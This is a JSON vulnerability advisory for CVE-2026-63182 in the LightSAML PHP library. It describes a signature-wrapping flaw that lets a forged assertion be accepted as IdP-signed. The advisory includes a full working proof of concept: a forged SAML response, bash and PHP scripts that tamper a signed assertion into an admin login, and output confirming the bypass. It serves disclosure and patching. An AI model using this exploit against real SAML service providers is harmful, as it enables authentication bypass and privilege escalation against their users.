{"id":"CVE-2026-63182","aliases":["GHSA-w553-pwx6-3mg9"],"url":"https://o3.security/vulnerability/CVE-2026-63182","summary":"LightSAML: Signature reference wrapping permits unsigned assertion claims","details":"### Summary\n\nLightSaml 5.0.0 (latest release; also confirmed on 4.6.1) validates an inbound `samlp:Response` by collecting its direct-child `saml:Assertion` elements and validating each one's `ds:Signature` via robrichards/xmlseclibs. The two layers disagree on which element a signature actually covers: LightSaml reads claims from the assertion node it collected, while xmlseclibs resolves the signed `Reference URI=\"#id\"` with a document-wide `//*[@Id]` XPath that returns the first ID-bearing element anywhere in the document.\n\nAn attacker who has captured one genuine signed assertion can exploit this to surface attacker-authored, unsigned claims.\n\n### Details\n\n`Response::deserialize` collects assertions with `manyElementsFromXml`, whose relative XPath `saml:Assertion` matches only direct children of the `Response`. Each collected assertion is validated independently by `AssertionSignatureValidatorAction` against the out-of-band trusted IdP credential (resolved by Issuer entityId, never from the document):\n\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28\n\nThe check delegates to xmlseclibs `XMLSecurityDSig::validateReference()`, which first removes the signature node being validated from the shared document (enveloped-signature removal):\n\n```php\nif (! $docElem->isSameNode($this->sigNode)) {\n    if ($this->sigNode->parentNode != null) {\n        $this->sigNode->parentNode->removeChild($this->sigNode);   // strips sig from shared DOM\n    }\n}\n```\n\nhttps://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596\n\n`processRefNode()` then resolves `URI=\"#id\"` document-wide and takes `item(0)`, the first ID-bearing element in the whole document, any name or namespace, not the one inside the signature's own subtree:\n\n```php\n$query = '//*['.$iDlist.']';\n$dataObject = $xPath->query($query)->item(0);\n```\n\nhttps://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525\n\nSo the digest target xmlseclibs picks (`//*[@Id]` item(0), anywhere) which isn't necessarily the one from the previous phase. LightSaml then reads claims (Subject/NameID, Conditions, Attributes) from the node it collected:\n\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288\n\nAn example attacker buries the genuine signed bytes (the assertion with its `ds:Signature` element stripped) inside `samlp:Extensions`, so it is the first `@Id` element in document order but not a direct-child assertion. Present one forged direct-child assertion with the same `ID`, attacker claims, and a verbatim copy of the genuine `ds:Signature`:\n\n```xml\n<samlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n                xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_resp\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n  <saml:Issuer>https://idp.example.com</saml:Issuer>\n\n  <!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),\n       but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the\n       enveloped+exc-c14n digest target is the assertion sans Signature. -->\n  <samlp:Extensions>\n    <saml:Assertion ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n      <saml:Issuer>https://idp.example.com</saml:Issuer>\n      <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>\n      <saml:Conditions NotBefore=\"2024-01-01T00:00:00Z\" NotOnOrAfter=\"2099-01-01T00:00:00Z\"/>\n      <saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>\n    </saml:Assertion>\n  </samlp:Extensions>\n\n  <!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,\n       verbatim copy of the genuine ds:Signature. -->\n  <saml:Assertion ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n    <saml:Issuer>https://idp.example.com</saml:Issuer>\n    <ds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\"> ...byte-for-byte copy of the genuine signature... </ds:Signature>\n    <saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>\n    <saml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/>\n    <saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>\n  </saml:Assertion>\n</samlp:Response>\n```\n\n### PoC\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\nWORK=\"$(mktemp -d)\"; trap 'rm -rf \"$WORK\"' EXIT; cd \"$WORK\"\nIDP_ENTITY=\"https://idp.example.com\"; ASSERTION_ID=\"_signed_assertion\"\n\ncomposer require litesaml/lightsaml:5.0.0 --no-interaction --quiet\n\n# trusted IdP key + self-signed cert (out-of-band trust anchor)\nopenssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \\\n  -subj \"/CN=idp.example.com\" >/dev/null 2>&1\n\n# genuine Response with one to-be-signed assertion\ncat > genuine_tmpl.xml <<XML\n<samlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n                xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"\n                ID=\"_resp\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n  <saml:Issuer>${IDP_ENTITY}</saml:Issuer>\n  <saml:Assertion ID=\"${ASSERTION_ID}\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n    <saml:Issuer>${IDP_ENTITY}</saml:Issuer>\n    <ds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\">\n      <ds:SignedInfo>\n        <ds:CanonicalizationMethod Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/>\n        <ds:SignatureMethod Algorithm=\"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256\"/>\n        <ds:Reference URI=\"#${ASSERTION_ID}\">\n          <ds:Transforms>\n            <ds:Transform Algorithm=\"http://www.w3.org/2000/09/xmldsig#enveloped-signature\"/>\n            <ds:Transform Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/>\n          </ds:Transforms>\n          <ds:DigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"/>\n          <ds:DigestValue></ds:DigestValue>\n        </ds:Reference>\n      </ds:SignedInfo>\n      <ds:SignatureValue></ds:SignatureValue>\n    </ds:Signature>\n    <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>\n    <saml:Conditions NotBefore=\"2024-01-01T00:00:00Z\" NotOnOrAfter=\"2099-01-01T00:00:00Z\"/>\n    <saml:AttributeStatement>\n      <saml:Attribute Name=\"role\"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute>\n    </saml:AttributeStatement>\n  </saml:Assertion>\n</samlp:Response>\nXML\n\n# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)\nxmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \\\n  --id-attr:ID \"urn:oasis:names:tc:SAML:2.0:assertion:Assertion\" \\\n  --output genuine_signed.xml genuine_tmpl.xml >/dev/null\n\n# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,\n# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine\n# signature + attacker claims.\nphp -r '\n$doc = new DOMDocument(); $doc->load(\"genuine_signed.xml\");\n$xp = new DOMXPath($doc);\n$xp->registerNamespace(\"saml\",\"urn:oasis:names:tc:SAML:2.0:assertion\");\n$xp->registerNamespace(\"ds\",\"http://www.w3.org/2000/09/xmldsig#\");\n$resp = $doc->documentElement;\n$genuine = $xp->query(\"//saml:Assertion[@ID=\\\"_signed_assertion\\\"]\")->item(0);\n$copiedSig = $doc->saveXML($xp->query(\"./ds:Signature\", $genuine)->item(0));\n\n// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)\n$buried = $genuine->cloneNode(true);\n$buried->removeChild($xp->query(\"./ds:Signature\", $buried)->item(0));\n\n// forged = copied signature + attacker claims (the only direct-child assertion)\n$forged =\n  \"<saml:Assertion xmlns:saml=\\\"urn:oasis:names:tc:SAML:2.0:assertion\\\" ID=\\\"_signed_assertion\\\" Version=\\\"2.0\\\" IssueInstant=\\\"2024-01-01T00:00:00Z\\\">\"\n  .\"<saml:Issuer>https://idp.example.com</saml:Issuer>\".$copiedSig\n  .\"<saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>\"\n  .\"<saml:Conditions NotBefore=\\\"2040-01-01T00:00:00Z\\\" NotOnOrAfter=\\\"2041-01-01T00:00:00Z\\\"/>\"\n  .\"<saml:AttributeStatement><saml:Attribute Name=\\\"role\\\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>\"\n  .\"</saml:Assertion>\";\n$frag = $doc->createDocumentFragment(); $frag->appendXML($forged);\n\n// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after\n$ext = $doc->createElementNS(\"urn:oasis:names:tc:SAML:2.0:protocol\",\"samlp:Extensions\");\n$ext->appendChild($buried);\n$resp->replaceChild($ext, $genuine);\n$resp->appendChild($frag);\nfile_put_contents(\"tampered.xml\", $doc->saveXML());\n'\n\n# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true\ncat > consumer.php <<'PHP'\n<?php\nrequire __DIR__ . '/vendor/autoload.php';\nuse LightSaml\\Action\\Assertion\\Inbound\\AssertionSignatureValidatorAction;\nuse LightSaml\\Context\\Profile\\{AssertionContext, ProfileContext};\nuse LightSaml\\Credential\\{UsageType, X509Certificate, X509Credential};\nuse LightSaml\\Context\\Model\\DeserializationContext;   // moved from Model\\Context in 5.0.0\nuse LightSaml\\Model\\Protocol\\SamlMessage;\nuse LightSaml\\Resolver\\Credential\\Factory\\CredentialResolverFactory;\nuse LightSaml\\Store\\Credential\\StaticCredentialStore;\nuse LightSaml\\Validator\\Model\\Signature\\SignatureValidator;\nuse Psr\\Log\\NullLogger;\n\n[$_, $xmlPath, $certPath, $idpEntityId] = $argv;\n$x509 = new X509Certificate(); $x509->loadPem(file_get_contents($certPath));   // pinned trust anchor\n$cred = new X509Credential($x509); $cred->setEntityId($idpEntityId); $cred->setUsageType(UsageType::SIGNING);\n$store = new StaticCredentialStore(); $store->add($cred);\n$validator = new SignatureValidator((new CredentialResolverFactory($store))->build());\n$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true\n\n$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());\n$profile = new ProfileContext('profile', ProfileContext::ROLE_SP);\n$bypass = false;\necho \"assertions LightSaml collected: \" . count($message->getAllAssertions()) . \"\\n\";\nforeach ($message->getAllAssertions() as $i => $a) {\n    $nameId = ($a->getSubject() && $a->getSubject()->getNameID()) ? $a->getSubject()->getNameID()->getValue() : '(none)';\n    $attrs = [];\n    foreach ($a->getAllAttributeStatements() as $s) foreach ($s->getAllAttributes() as $at)\n        $attrs[$at->getName()] = implode(',', array_map(fn($v) => (string)$v, $at->getAllAttributeValues()));\n    echo \"ASSERTION #$i  NameID=$nameId  Attributes=\".json_encode($attrs).\"\\n\";\n    $ctx = new AssertionContext(); $ctx->setAssertion($a); $ctx->setParent($profile);\n    try { $action->execute($ctx); $r = 'ACCEPTED'; } catch (\\Throwable $e) { $r = 'REJECTED: '.$e->getMessage(); }\n    echo \"  LightSaml validation: $r\\n\";\n    if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false || ($attrs['role'] ?? '') === 'admin')) {\n        $bypass = true; echo \"  >>> BYPASS: forged assertion validated AND attacker claims surfaced\\n\";\n    }\n}\necho $bypass ? \"RESULT: BYPASS CONFIRMED\\n\" : \"RESULT: no bypass\\n\";\nexit($bypass ? 0 : 1);\nPHP\n\nphp consumer.php tampered.xml idp_cert.pem \"$IDP_ENTITY\"\n```\n\nObserved output:\n\n```\nassertions LightSaml collected: 1\nASSERTION #0  NameID=attacker@evil.com  Attributes={\"role\":\"admin\"}\n  LightSaml validation: ACCEPTED\n  >>> BYPASS: forged assertion validated AND attacker claims surfaced\nRESULT: BYPASS CONFIRMED\n```\n\n### Impact\n\nAuthentication bypass / privilege escalation. An attacker who has captured one genuine signed assertion (e.g. their own prior login response) can have LightSaml accept a single, fully attacker-authored assertion as IdP-signed.","published":"2026-10-30T21:46:38.551Z","modified":"2026-11-08T02:30:27.189672421Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"},"epss":{"score":0.00191,"percentile":0.08776,"asOf":"2026-11-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"litesaml/lightsaml","fixedVersion":"5.0.1"},{"ecosystem":"Packagist","name":"litesaml/lightsaml","fixedVersion":"4.7.1"}],"fix":{"url":"https://github.com/litesaml/lightsaml/commit/230e62d1325f2cbcaac814b78409775f7a8806a2","label":"litesaml/lightsaml@230e62d"},"references":[{"type":"WEB","url":"https://github.com/litesaml/lightsaml/releases/tag/4.7.1"},{"type":"WEB","url":"https://github.com/litesaml/lightsaml/releases/tag/5.0.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63182.json"},{"type":"ADVISORY","url":"https://github.com/litesaml/lightsaml/security/advisories/GHSA-w553-pwx6-3mg9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63182"},{"type":"FIX","url":"https://github.com/litesaml/lightsaml/commit/230e62d1325f2cbcaac814b78409775f7a8806a2"},{"type":"FIX","url":"https://github.com/litesaml/lightsaml/commit/3af82bf2f3865e6aafeeb1a97c97b383b8bb7b00"},{"type":"FIX","url":"https://github.com/litesaml/lightsaml/pull/113"},{"type":"FIX","url":"https://github.com/litesaml/lightsaml/pull/122"},{"type":"PACKAGE","url":"https://github.com/litesaml/lightsaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-08T02:30:27.189672421Z"}}